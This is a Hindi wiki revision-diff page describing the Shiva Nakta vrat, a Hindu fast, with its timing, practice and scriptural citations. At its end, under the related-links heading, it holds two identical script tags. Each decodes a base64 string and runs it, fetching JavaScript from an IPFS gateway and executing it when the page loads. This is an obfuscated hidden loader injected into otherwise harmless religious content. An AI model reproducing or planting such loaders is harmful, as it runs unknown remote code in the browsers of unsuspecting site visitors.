शिल्पी गोयल (वार्ता | योगदान) छो (शिवनक्तव्रत का नाम बदलकर शिवनक्त व्रत कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==संबंधित लिंक==" to "==सम्बंधित लिंक==") |
||
पंक्ति 15: | पंक्ति 15: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
== | ==सम्बंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} |
11:46, 11 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- कृष्ण पक्ष की अष्टमी या चर्तुदशी पर नक्त विधि शिवनक्तव्रत किया जाता है।
- इहलोक में आनन्द एवं मृत्युपरान्त शिवलोक की प्राप्ति होती है।[1]
- ऐसी मान्यता है कि एक वर्ष के प्रत्येक पर्व पर नक्त रहना चाहिए।
- एक वर्ष तक शिव पूजा करनी चाहिए।[2]
- अष्टमी, नवमी, त्रयोदशी एवं चतुर्दशी पर कर्ता केवल एकभक्त रहता है, पृथ्वी पर रखा भोजन करता है।
- शिवनक्तव्रत एक वर्ष तक करना चाहिए। [3]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ (कृत्यकल्पतरु 386); हेमाद्रि (व्रत खण्ड 2, 398, भविष्यपुराण से उद्धरण)
- ↑ कृत्यकल्पतरु व्रत खण्ड 386
- ↑ कृत्यकल्पतरु (व्रत खण्द 386-387)
सम्बंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>